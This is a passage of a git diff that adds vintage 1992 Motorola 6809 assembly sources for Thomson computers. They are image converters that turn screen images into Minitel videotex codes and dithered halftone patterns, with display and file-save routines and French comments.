+       LDX    #$A000
+       LDU    #0
+BZERO  STU    ,X++
+       CMPX   #$E000
+       BLO    BZERO
+
+       LDU    #$A800
+       LDX    #$4000
+       LDA    #20     20 LIGNES MINITEL
+       STA    COMPTL
+LIGNE  LDA    #40     40 COLONNES
+       STA    COMPTO
+COLON  LDA    #3
+       LBSR   CALZON
+       LEAX   120,X
+       LDA    #4
+       LBSR   CALZON
+       LEAX   160,X
+       LDA    #3
+       LBSR   CALZON
+
+       LDD    -12,U
+       ADDD   -10,U
+       ADDD   -4,U
+       ADDD   -2,U
+       TFR    D,Y
+       LEAY   D,Y
+       LEAY   D,Y
+       LDD    -8,U
+       ADDD   -6,U
+       LEAY   D,Y
+       LEAY   D,Y
+       LEAY   D,Y
+       LEAY   D,Y
+       LDD    #0
+       EXG    D,Y
+       CMPD   #320
+       BLS    MOYEN1
+MOYEN0 SUBD   #320
+       LEAY   16,Y
+       CMPD   #320
+       BHI    MOYEN0
+MOYEN1 CMPD   #20
+       BLS    MOYEN3
+MOYEN2 SUBD   #20
+       LEAY   1,Y
+       CMPD   #20
+       BHI    MOYEN2
+MOYEN3 STY    ,U
+       LEAU   4,U
+       LEAX   -279,X
+       DEC    COMPTO
+       LBNE   COLON
+       LEAX   360,X
+       DEC    COMPTL
+       LBNE   LIGNE
+
+       LDY    #$A800
+CARAC  LDX    12,Y
+       STX    COMP+2
+       LDD    #5
+       PSHS   A,B
+       STA    COMPTO
+       LDU    #0
+ANAL   LDD    ,Y++
+COMP   CMPD   #0000
+       BCS    SUPER
+       LEAU   D,U
+       INC    COMPTO
+SUPER  ROR    ,S
+       DEC    1,S
+       BMI    AUTRE
+       BNE    ANAL
+       ROR    ,S
+       BRA    ANAL
+AUTRE  PULS   A,B
+       COMA
+       LSRA
+       LDX    ,Y++
+       STA    ,Y+
+       TFR    X,D
+       LEAX   D,X
+       LEAX   D,X
+       TFR    X,D
+       LEAX   D,X
+       TFR    U,D
+       COMA
+       COMB
+       ADDD   #1
+       LEAX   D,X
+       LDB    #6
+       SUBB   COMPTO
+       BEQ    PADIVI
+       CMPB   #6
+       BRA    DIVI0
+PADIVI LDA    #$7F
+       STA    -1,Y
+STOCOL LDA    #0
+       ADDA   -3,Y
+       BRA    COPOCT
+DIVI0  STB    DECPT0+2
+       LDD    #$FFFF
+       EXG    D,X
+DECPT0 SUBD   #0
+       LEAX   1,X
+       BPL    DECPT0
+       TFR    X,D
+       LSLA
+       LSLA
+       LSLA
+       STA    STOCOL+1
+       STA    ,Y
+       LDA    COMPTO
+       STA    DECPT1+2
+       LDD    #$FFFF
+       EXG    D,U
+DECPT1 SUBD   #0
+       LEAU   1,U
+       BPL    DECPT1
+       TFR    U,D
+       ORA    ,Y
+COPOCT STA    ,Y+
+       CMPY   #$DA00
+       LBNE   CARAC
+
+*HARMONISATION DES SUITES DE COULEURS
+
+       LDX    #$A80F
+       LDA    #$FF
+       STA    VALA+1
+       STA    VALB+1
+HARMO  LDA    ,X
+       TFR    A,B
+       ANDA   #7
+       LSRB
+       LSRB
+       LSRB
+       PSHS   A,B
+VALB   CMPA   #0
+       BEQ    CHGO
+VALA   CMPB   #0
+       BNE    CHGN
+CHGO   LSLA
+       LSLA
+       LSLA
+       STA    ,X
+       ORB    ,X
+       LDA    -1,X
+       COMA
+       ANDA   #$7F
+       ORA    #$20
+       STD    -1,X
+       PULS   A,B
+       EXG    A,B
+       BRA    CHGF
+CHGN   PULS   A,B
+CHGF   STA    VALA+1
+       STB    VALB+1
+       LEAX   16,X
+       CMPX   #$DA00
+       BLO    HARMO
+
+
+       LDU    #TABLE
+       LDY    #$A001
+       LDX    #$A80E
+       LDD    #$0C0E
+       STD    ,Y++
+       LDA    #$FF
+       STA    COLOR+1
+       STA    COLOR0+1
+       STA    COLOR2+1
+AFFMIN LDA    #$1B
+       LDB    1,X
+COLOR  CMPB   #0
+       BEQ    COMPAC
+       ANDB   #7
+COLOR0 CMPB   #0
+       BEQ    COLOR1
+       STB    COLOR0+1
+       LDB    B,U
+       ORB    #$40
+       STD    ,Y++
+COLOR1 LDB    1,X
+       STB    COLOR+1
+       LSRB
+       LSRB
+       LSRB
+COLOR2 CMPB   #0
+       BEQ    COLOR3
+       STB    COLOR2+1
+       LDB    B,U
+       ORB    #$50
+       STD    ,Y++
+COLOR3 LDA    ,X
+REPRIS STA    ,Y+
+       LEAX   16,X
+REPSUI CMPX   #$DA00
+       BLO    AFFMIN
+       LDD    #$0F1B
+       STD    ,Y++
+       LDA    #$47
+       STD    ,Y++
+       LDD    #$50FF
+       STD    ,Y++
+       LBRA   AFFICH
+
+* COMPACTAGE SI CODES REPETES > 3 FOIS
+
+COMPAC LDA    ,X
+       CMPA   -16,X
+       BNE    REPRIS
+       PSHS   X,U
+       CLRB
+       LDU    ,X
+       STU    COMCOM+2
+COMCO0 LEAX   16,X
+       INCB
+       LDU    ,X
+COMCOM CMPU   #0
+       BEQ    COMCO0
+       PULS   X,U
+       CMPB   #3
+       BLO    REPRIS
+       CMPB   #64
+       BLO    PASTRO
+       LDB    #64
+PASTRO LDA    #$12    REPETITION
+       ADDB   #64
+       STD    ,Y++
+       LDA    #16
+       SUBB   #64
+       MUL
+       LEAX   D,X
+       BRA    REPSUI
+
+
+CALZON PSHS   X,A
+       SUBA   #3
+       STA    TAILLE
+CLZ0   BSR    CALOC
+       LEAX   40,X
+       DEC    ,S
+       BNE    CLZ0
+       LDX    ,U
+       LBSR   XMUL
+       STX    ,U++
+       LDX    ,U
+       LBSR   XMUL
+       STX    ,U++
+       PULS   A,X,PC
+
+CALOC  PSHS   X,Y
+       LDY    #TABGRI
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDB    ,X
+       TFR    B,DP
+       ORA    #1
+       STA    $E7C3
+       TST    TYPE
+       LBEQ   CALOC7
+       BMI    CALOCH
+
+CALOC4 PSHS   DP
+       LDA    ,X
+       LDX    ,U
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       STX    ,U
+       LDX    2,U
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LSL    ,S
+       ROLB
+       LDB    B,Y
+       ABX
+       STX    2,U
+       PULS   A,X,Y,PC
+
+CALOCH LDB    ,X
+       LDX    ,U
+       PSHS   B
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDB    B,Y
+       ABX
+       ABX
+       PULS   B
+       ANDB   #$0F
+       LDB    B,Y
+       ABX
+       ABX
+       STX    ,U
+       TFR    DP,B
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDB    B,Y
+       LDX    2,U
+       ABX
+       ABX
+       TFR    DP,B
+       ANDB   #$0F
+       LDB    B,Y
+       ABX
+       ABX
+       STX    2,U
+       PULS   X,Y,PC
+
+CALOC7 LDA    ,X
+       ANDB   #$87
+       BMI    PAST0
+       ORB    #8
+PAST0  ANDB   #$0F
+       LDB    B,Y
+       EXG    B,DP
+       ANDB   #$78
+       BITB   #$40
+       BNE    PAST1
+       ORB    #$40
+       BRA    PAST2
+PAST1  ANDB   #$38
+PAST2  LSRB
+       LSRB
+       LSRB
+       LDB    B,Y
+       EXG    B,DP
+       PSHS   B,DP
+       LDX    ,U
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       STX    ,U
+       LDX    2,U
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       CLRB
+       LSLA
+       ROLB
+       LDB    B,S
+       ABX
+       STX    2,U
+       PULS   A,B,X,Y,PC
+
+XMUL   PSHS   X
+       TFR    X,D
+       TST    TAILLE
+       BEQ    X13D8
+X39D32 LSLB
+       ROLA
+       LSLB
+       ROLA
+       LEAX   D,X
+       TFR    X,D
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       TFR    D,X
+       PULS   D
+       COMA
+       COMB
+       ADDD   #1
+       LEAX   D,X
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       BRA    FINXD
+X13D8  LSLB
+       ROLA
+       LEAX   D,X
+       TFR    X,D
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       PULS   X
+       LEAX   D,X
+       TFR    X,D
+FINXD  LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LDX    CORREC
+       LEAX   D,X
+       CMPX   #0
+       BPL    COR0
+       LDX    #0
+       BRA    COR1
+COR0   CMPX   #$800
+       BLO    COR1
+       LDX    #$7FF
+COR1   RTS
+
+AFFICH TST    FLAGAF
+       LBNE   TOMIN
+
+* AFFICHAGE TO8
+
+AFFTO  LDB    #$1B
+       JSR    $E803
+       LDB    #$5A
+       JSR    $E803
+       LDB    #$0C
+       JSR    $E803
+       LDB    #$14
+       JSR    $E803
+       LDX    #PALGRI
+       LDA    #$FF
+       JSR    $EC00
+
+       LDU    #TABCOL
+       LDX    #$B000
+       LDY    #$A003
+CD1    LDB    COUL
+CD2    LDA    ,Y+
+       CMPA   #$12
+       BEQ    REPETE
+       CMPA   #$1B
+       BNE    CD4
+       LDA    ,Y+
+       SUBA   #$40
+       CMPA   #8
+       BLO    CD3
+       ANDB   #$38
+       SUBA   #8
+       ORB    A,U
+       BRA    CD2
+CD3    ANDB   #7
+       ORB    A,U
+       BRA    CD2
+CD4    ORB    #$C0
+       STB    COUL
+       STB    2400,X
+       CLRB
+       LSRA
+       BCC    CD5
+       ORB    #$F0
+CD5    LSRA
+       BCC    CD6
+       ORB    #$0F
+CD6    STB    1600,X
+       CLRB
+       LSRA
+       BCC    CD7
+       ORB    #$F0
+CD7    LSRA
+       BCC    CD8
+       ORB    #$0F
+CD8    STB    800,X
+       CLRB
+       LSRA
+       BCC    CD9
+       ORB    #$F0
+CD9    LSRA
+       LSRA
+       BCC    CD10
+       ORB    #$0F
+CD10   STB    ,X+
+       BRA    CD11
+
+REPETE LDA    ,Y+
+       SUBA   #$40
+       PSHS   A,X
+       LEAX   2400,X
+       LDB    -1,X
+REP0   STB    ,X+
+       DECA
+       BNE    REP0
+       PULS   A,X
+       PSHS   A,X
+       LEAX   1600,X
+       LDB    -1,X
+REP1   STB    ,X+
+       DECA
+       BNE    REP1
+       PULS   A,X
+       PSHS   A,X
+       LEAX   800,X
+       LDB    -1,X
+REP2   STB    ,X+
+       DECA
+       BNE    REP2
+       PULS   A,X
+       LDB    -1,X
+REP3   STB    ,X+
+       DECA
+       BNE    REP3
+
+CD11   CMPX   #$B000+800
+       LBLO   CD1
+
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDX    #$B000+2400
+       LDY    #$4000
+       LDA    #20
+CD12   LDB    #20
+CD13   LDU    ,X++
+       STU    40,Y
+       STU    80,Y
+       STU    120,Y
+       STU    160,Y
+       STU    200,Y
+       STU    240,Y
+       STU    280,Y
+       STU    320,Y
+       STU    360,Y
+       STU    ,Y++
+       DECB
+       BNE    CD13
+       LEAY   360,Y
+       DECA
+       BNE    CD12
+
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDX    #$B000
+       LDY    #$4000
+       LDA    #20
+CD14   LDB    #20
+CD15   LDU    1600,X
+       STU    ,Y
+       STU    40,Y
+       STU    80,Y
+       LDU    800,X
+       STU    120,Y
+       STU    160,Y
+       STU    200,Y
+       STU    240,Y
+       LDU    ,X++
+       STU    280,Y
+       STU    320,Y
+       STU    360,Y
+       LEAY   2,Y
+       DECB
+       BNE    CD15
+       LEAY   360,Y
+       DECA
+       BNE    CD14
+FINAF  JSR    $E806
+       TSTB
+       BEQ    FINAF
+       LDX    #PALORI
+       LDA    #$FF
+       JSR    $EC00
+       LBRA   FIN
+
+TOMIN  LDD    #$1B3A
+       STD    ,Y++
+       LDD    #$6AFE
+       STD    ,Y++
+       LDD    #$E7FD
+       TFR    A,DP
+       STB    <$C2
+       LDU    #$A000
+       LBSR   ROUT1
+       LDX    #$1000
+TEMP1  LEAX   -1,X
+       BNE    TEMP1
+       CLRB
+       ORCC   #$50
+TOMI0  LDA    #$07
+       STA    ,S
+       BSR    ROUT1
+       LDX    #$0060
+       STX    <$C6
+       LDA    #$A2
+       STA    <$C5
+       CLRA
+       BSR    ROUT2
+TOMI1  LSRB
+       BCC    TOMI2
+       BSR    ROUT1
+       INCA
+       BRA    TOMI3
+TOMI2  BSR    ROUT2
+TOMI3  DEC    ,S
+       BNE    TOMI1
+       BITA   #$01
+       BNE    TOMI4
+       BSR    ROUT2
+       BRA    TOMI5
+TOMI4  BSR    ROUT1
+TOMI5  LDB    ,U+
+       BPL    TOMI0
+       CMPB   #$FF
+       BNE    FINAF
+       LDB    ,U+
+       BRA    TOMI0
+
+ROUT1  PSHS   X,A
+       LDA    <$C5
+       ORA    #$80
+       BRA    TOMI6
+ROUT2  PSHS   X,A
+       LDA    <$C5
+       ANDA   #$7F
+       BRA    TOMI6
+TOMI6  STA    <$C5
+       LDX    #$0061
+TEMP2  LEAX   -1,X
+       BNE    TEMP2
+       PULS   A,X,PC
+
+
+* sauvegarde
+
+SAVE   PSHS   A,B,CC,DP,X,Y,U
+       LDX    #FILE
+       LDA    ,X++
+       SUBA   #$30
+       STA    $6049
+       LDU    #$624B
+       LDD    #$2003
+       STD    ,U++
+       LDA    #$FF
+       STA    ,U++
+       LDB    #8
+COPS   LDA    ,X+
+       STA    ,U+
+       DECB
+       BNE    COPS
+       LDD    #$5445  'TE'
+       STD    ,U++
+       LDD    #$4C09  'L'+8 octets
+COPC   STA    ,U+
+       LDA    ,X+
+       DECB
+       BNE    COPC
+
+       LDB    #3      CODE DE OPEN
+       JSR    $EC0C   OUVERTURE
+       LDX    #$A001  #FICHIER
+COPEN0 LDA    ,X+
+       BMI    QUITTE
+       LDB    #4
+       JSR    $EC0C
+       BRA    COPEN0
+
+QUITTE LDB    #6      CLOSE
+       JSR    $EC0C
+FIN    PULS   A,B,DP,CC,X,Y,U,PC
+
+TABLE  FCB    0,4,1,5,2,6,3,7
+TABCOL FCB    0,16,32,48,8,24,40,56
+       FCB    0,2,4,6,1,3,5,7
+
+COUL   FCB    0
+COMPTO FCB    0
+COMPTL FCB    0
+TAILLE FCB    0
+
+PALET  RMB    32
+TABGRI RMB    16
+PALGRI FDB    0,546,1092,1638,2184,2730
+       FDB    3276,3822,4095,4095,4095
+       FDB    4095,4095,4095,4095,4095
+PALORI FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+TYPE   FCB    0
+
+CORREC FDB    0
+FLAGAF FCB    0
+FILE   FCC    #4:        #
+COMMEN FCC    #PhotoTEL#
+
+       END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM"
new file mode 100644
index 0000000..23c62c9
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA0.ASM"
@@ -0,0 +1,318 @@
+*************** MAP>TRA0 ***************
+*                                      *
+* TRANSCODEUR D'IMAGES TO.MAP > TRAMES *
+*                                      *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+*                                      *
+* (c)    A.S.C.I.    Copyright    1992 *
+*                                      *
+****************************************
+
+* TRANSCODAGE D'UNE IMAGE THOMSON EN UNE
+* IMAGE TYPE TO7/70 40 COL DE 16 TRAMES
+* CHOISIES PARMI 65
+
+       ORG    $9800
+
+       PSHS   A,B,CC,DP,X,Y,U
+
+       LDA    $605F   TYPE DE CONSOLE
+       LSLA
+       STA    TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+       LDU    #PALET+32
+       LDA    #15
+LIPAL  LDX    #$FFFF
+       LDY    #0
+       JSR    $EC00
+       STX    ,--U
+       DECA
+       BPL    LIPAL
+
+       LDX    #PALET
+       LDY    #TABGRI
+NOUPAL LDD    ,X
+       BITA   #$10
+       BNE    CALGRI
+       COMA
+       COMB
+       STD    ,X
+CALGRI CLRA
+       ANDB   #$F0
+       LSRB
+       LSRB
+       TFR    D,U
+       LDD    ,X++
+       ANDA   #$0F
+       LEAU   A,U
+       ANDB   #$0F
+       LSLB
+       LEAU   B,U
+       TFR    U,D
+       STB    ,Y+
+       CMPX   #PALET+32
+       BLO    NOUPAL
+
+* CALCUL DES TRAMES EN FONCTION DE L'IN-
+* TENSITE LUMINEUSE DANS TABGRI
+* 16 TRAMES CHOISIES PARMI 65
+
+       LDU    #TABGRI
+       LDX    #TRAME
+       LDY    #TRAINI
+       LDB    #16
+NOUTRA LDA    #105
+       SUBA   ,U+
+       PSHS   A,B,X,U
+       LDB    #158
+       MUL
+       ANDA   #$7C
+       LEAU   A,Y
+       LDB    #4
+TRA0   LDA    ,U
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ORA    ,U+
+       STA    4,X
+       STA    ,X+
+       DECB
+       BNE    TRA0
+       LDA    ,S
+       ANDA   #3
+       BEQ    FINTRA
+       LDB    #3
+TRA1   LDA    B,U
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA1
+       LEAX   -4,X
+       LDA    ,S
+       ANDA   #3
+       CMPA   #2
+       BLO    FINTRA
+       LDB    #3
+TRA2   LDA    B,U
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA2
+       LEAX   4,X
+       LDA    ,S
+       ANDA   #3
+       CMPA   #3
+       BLO    FINTRA
+       LDB    #3
+TRA3   LDA    B,U
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA3
+FINTRA PULS   A,B,X,U
+       LEAX   8,X
+       DECB
+       BNE    NOUTRA
+
+* RECOPIE DE L'IMAGE EN $A000/$DFFF
+* EN ENTRELACE
+
+       LDB    #$14
+       JSR    $E803
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDX    #$4000
+       LDY    #$A000
+COPEC0 LDD    ,X++
+       STA    ,Y++
+       STB    ,Y++
+       CMPX   #$5F40
+       BLO    COPEC0
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDX    #$4000
+       LDY    #$A001
+COPEC1 LDD    ,X++
+       STA    ,Y++
+       STB    ,Y++
+       CMPX   #$5F40
+       BLO    COPEC1
+
+       LDX    #$A000
+       LDY    #TRAME
+       LDD    #$2807
+       STA    COLON
+       STB    LIGNE
+
+NEWOCT LDD    #$8000
+       PSHS   B,A
+       TST    TYPE
+       LBEQ   MODTO7
+       BMI    MODB16
+
+MODBM4 CLRA
+       ASL    ,X
+       ROLA
+       ASL    1,X
+       ROLA
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   ,S
+       ORA    1,S
+       STA    1,S
+       LSR    ,S
+       BNE    MODBM4
+       LBRA   FINMOD
+
+MODTO7 LDA    1,X
+       BITA   #$40
+       BEQ    OCTET0
+       ANDA   #$38
+       BRA    OCTET1
+OCTET0 ORA    #$40
+OCTET1 ANDA   #$78
+       STA    FORM0+1
+       LDA    1,X
+       ANDA   #$07
+       TST    1,X
+       BMI    OCTET2
+       ORA    #$08
+OCTET2 LSLA
+       LSLA
+       LSLA
+       STA    FOND0+1
+FORM0  LDA    #$00
+       ASL    ,X
+       BCS    POINT0
+FOND0  LDA    #$00
+POINT0 LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   ,S
+       ORA    1,S
+       STA    1,S
+       LSR    ,S
+       BNE    FORM0
+       BRA    FINMOD
+
+MODB16 LDA    ,X
+       ANDA   #$F0
+       LSRA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$C0
+       ORA    1,S
+       STA    1,S
+       LDA    ,X
+       ANDA   #$0F
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$30
+       ORA    1,S
+       STA    1,S
+       LDA    1,X
+       ANDA   #$F0
+       LSRA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$0C
+       ORA    1,S
+       STA    1,S
+       LDA    1,X
+       ANDA   #$0F
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$03
+       ORA    1,S
+
+FINMOD STA    ,X++
+       PULS   A,B
+       CMPX   #$DE80
+       BHS    AFFTO
+       DEC    COLON
+       LBNE   NEWOCT
+       LDA    #$28
+       STA    COLON
+       DEC    LIGNE
+       LBPL   NEWOCT
+       LDA    #7
+       STA    LIGNE
+       LBRA   NEWOCT
+
+AFFTO  LDB    #$1B
+       JSR    $E803
+       LDB    #$5A
+       JSR    $E803
+       LDB    #$1B
+       JSR    $E803
+       LDB    #$40
+       JSR    $E803
+       LDB    #$1B
+       JSR    $E803
+       LDB    #$57
+       JSR    $E803
+       LDB    #$0C
+       JSR    $E803
+       LDB    #$14
+       JSR    $E803
+       LDX    #PALORI
+       LDA    #$FF
+       JSR    $EC00
+       LDX    #$A000
+       LDY    #$4000
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+RESULT LDA    ,X++
+       LDB    ,X++
+       STD    ,Y++
+       CMPX   #$DE80
+       BLO    RESULT
+
+FIN    PULS   A,B,DP,CC,X,Y,U,PC
+
+LIGNE  FCB    0
+COLON  FCB    0
+
+PALET  RMB    32
+TABGRI RMB    16
+
+PALORI FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+TYPE   FCB    0
+TRAINI FCB    0,0,0,0,0,0,8,0
+       FCB    2,0,8,0,2,0,10,0
+       FCB    10,0,10,0,10,0,10,4
+       FCB    10,1,10,4,10,1,10,5
+       FCB    10,5,10,5,10,5,14,5
+       FCB    11,5,14,5,11,5,15,5
+       FCB    15,5,15,5,15,5,15,13
+       FCB    15,7,15,13,15,7,15,15
+       FCB    15,15,15,15
+TRAME  RMB    16*8
+
+       END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM"
new file mode 100644
index 0000000..10b8493
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TRA1.ASM"
@@ -0,0 +1,367 @@
+**************** MAP>TRA1 **************
+*                                      *
+* TRANSCODEUR D'IMAGES TO.MAP > TRAMES *
+*                                      *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+*                                      *
+* (c)    A.S.C.I.    Copyright    1992 *
+*                                      *
+****************************************
+
+* TRANSCODAGE D'UNE IMAGE THOMSON EN UNE
+* IMAGE DE 80 COLONNES EN 16 TRAMES /65
+
+       ORG    $9800
+
+       PSHS   A,B,CC,DP,X,Y,U
+
+       LDA    $605F   TYPE DE CONSOLE
+       LSLA
+       STA    TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+       LDU    #PALET+32
+       LDA    #15
+LIPAL  LDX    #$FFFF
+       LDY    #0
+       JSR    $EC00
+       STX    ,--U
+       DECA
+       BPL    LIPAL
+
+       LDX    #PALET
+       LDY    #TABGRI
+NOUPAL LDD    ,X
+       BITA   #$10
+       BNE    CALGRI
+       COMA
+       COMB
+       STD    ,X
+CALGRI CLRA
+       ANDB   #$F0
+       LSRB
+       LSRB
+       TFR    D,U
+       LDD    ,X++
+       ANDA   #$0F
+       LEAU   A,U
+       ANDB   #$0F
+       LSLB
+       LEAU   B,U
+       TFR    U,D
+       STB    ,Y+
+       CMPX   #PALET+32
+       BLO    NOUPAL
+
+* CALCUL DES TRAMES EN FONCTION DE L'IN-
+* TENSITE LUMINEUSE DANS TABGRI (16/65)
+
+       LDU    #TABGRI
+       LDX    #TRAME
+       LDY    #TRAINI
+       LDB    #16
+NOUTRA LDA    #105
+       SUBA   ,U+
+       PSHS   A,B,X,U
+       LDB    #158
+       MUL
+       ANDA   #$7C
+       LEAU   A,Y
+       LDB    #4
+TRA0   LDA    ,U
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ORA    ,U+
+       STA    4,X
+       STA    ,X+
+       DECB
+       BNE    TRA0
+       LDA    ,S
+       ANDA   #3
+       BEQ    FINTRA
+       LDB    #3
+TRA1   LDA    B,U
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA1
+       LEAX   -4,X
+       LDA    ,S
+       ANDA   #3
+       CMPA   #2
+       BLO    FINTRA
+       LDB    #3
+TRA2   LDA    B,U
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA2
+       LEAX   4,X
+       LDA    ,S
+       ANDA   #3
+       CMPA   #3
+       BLO    FINTRA
+       LDB    #3
+TRA3   LDA    B,U
+       ORA    B,X
+       STA    B,X
+       DECB
+       BPL    TRA3
+FINTRA PULS   A,B,X,U
+       LEAX   8,X
+       DECB
+       BNE    NOUTRA
+
+* RECOPIE DE L'IMAGE EN $A000/$DFFF
+* EN ENTRELACE
+
+       LDB    #$14
+       JSR    $E803
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       LDX    #$4000
+       LDY    #$A000
+COPEC0 LDD    ,X++
+       STA    ,Y++
+       STB    ,Y++
+       CMPX   #$5F40
+       BLO    COPEC0
+       LDA    $E7C3
+       ANDA   #$FE
+       STA    $E7C3
+       LDX    #$4000
+       LDY    #$A001
+COPEC1 LDD    ,X++
+       STA    ,Y++
+       STB    ,Y++
+       CMPX   #$5F40
+       BLO    COPEC1
+
+       LDX    #$A000
+       LDY    #TRAME
+       LDD    #$2807
+       STA    COLON
+       STB    LIGNE
+
+NEWOCT LDD    #$0000
+       PSHS   B,A
+       LDA    #$C0
+       STA    FILTRE
+       TST    TYPE
+       LBEQ   MODTO7
+       LBMI   MODB16
+
+MODBM4 CLRA
+       ASL    ,X
+       ROLA
+       ASL    1,X
+       ROLA
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   FILTRE
+       ORA    ,S
+       STA    ,S
+       LSR    FILTRE
+       LSR    FILTRE
+       BNE    MODBM4
+       LDA    #$C0
+       STA    FILTRE
+MODBM5 CLRA
+       ASL    ,X
+       ROLA
+       ASL    1,X
+       ROLA
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   FILTRE
+       ORA    1,S
+       STA    1,S
+       LSR    FILTRE
+       LSR    FILTRE
+       BNE    MODBM5
+       LBRA   FINMOD
+
+MODTO7 LDA    1,X
+       BITA   #$40
+       BEQ    OCTET0
+       ANDA   #$38
+       BRA    OCTET1
+OCTET0 ORA    #$40
+OCTET1 ANDA   #$78
+       STA    FORM0+1
+       STA    FORM1+1
+       LDA    1,X
+       ANDA   #$07
+       TST    1,X
+       BMI    OCTET2
+       ORA    #$08
+OCTET2 LSLA
+       LSLA
+       LSLA
+       STA    FOND0+1
+       STA    FOND1+1
+FORM0  LDA    #$00
+       ASL    ,X
+       BCS    POINT0
+FOND0  LDA    #$00
+POINT0 LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   FILTRE
+       ORA    ,S
+       STA    ,S
+       LSR    FILTRE
+       LSR    FILTRE
+       BNE    FORM0
+       LDA    #$C0
+       STA    FILTRE
+FORM1  LDA    #$00
+       ASL    ,X
+       BCS    POINT1
+FOND1  LDA    #$00
+POINT1 LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   FILTRE
+       ORA    1,S
+       STA    1,S
+       LSR    FILTRE
+       LSR    FILTRE
+       BNE    FORM1
+       BRA    FINMOD
+
+MODB16 LDA    ,X
+       ANDA   #$F0
+       LSRA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$F0
+       ORA    ,S
+       STA    ,S
+       LDA    ,X
+       ANDA   #$0F
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$0F
+       ORA    ,S
+       STA    ,S
+       LDA    1,X
+       ANDA   #$F0
+       LSRA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$F0
+       ORA    1,S
+       STA    1,S
+       LDA    1,X
+       ANDA   #$0F
+       LSLA
+       LSLA
+       LSLA
+       LEAU   A,Y
+       LDA    LIGNE
+       LDA    A,U
+       ANDA   #$0F
+       ORA    1,S
+       STA    1,S
+
+FINMOD PULS   A,B
+       STD    ,X++
+       CMPX   #$DE80
+       BHS    AFFTO
+       DEC    COLON
+       LBNE   NEWOCT
+       LDA    #$28
+       STA    COLON
+       DEC    LIGNE
+       LBPL   NEWOCT
+       LDA    #7
